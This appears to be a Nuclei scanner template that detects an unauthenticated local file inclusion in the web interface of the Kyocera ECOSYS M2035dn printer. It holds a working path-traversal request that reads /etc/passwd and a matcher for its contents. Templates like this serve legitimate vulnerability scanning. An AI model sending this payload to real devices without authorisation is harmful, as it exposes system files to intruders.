id: kyocera-m2035dn-lfi

info:
  name: Kyocera Command Center RX ECOSYS M2035dn - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Kyocera Command Center RX ECOSYS M2035dn is vulnerable to unauthenticated local file inclusion.
  reference:
    - https://www.exploit-db.com/exploits/50738
    - https://www.kyoceradocumentsolutions.com/asia/en/products/business-application/command-center-rx.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: edb,printer,iot,kyocera,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/js/../../../../../../../../etc/passwd%00.jpg"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ad4dd9bc990a58f1e1db66f1c4419e490fa6bd53e667887ccaaf7cc09fa714aa022013dd7f2439a20799a53659984a2a7817f6d40bf2170156c2f3d0934ff9fbd829:922c64590222798bb761d5b6d8e72950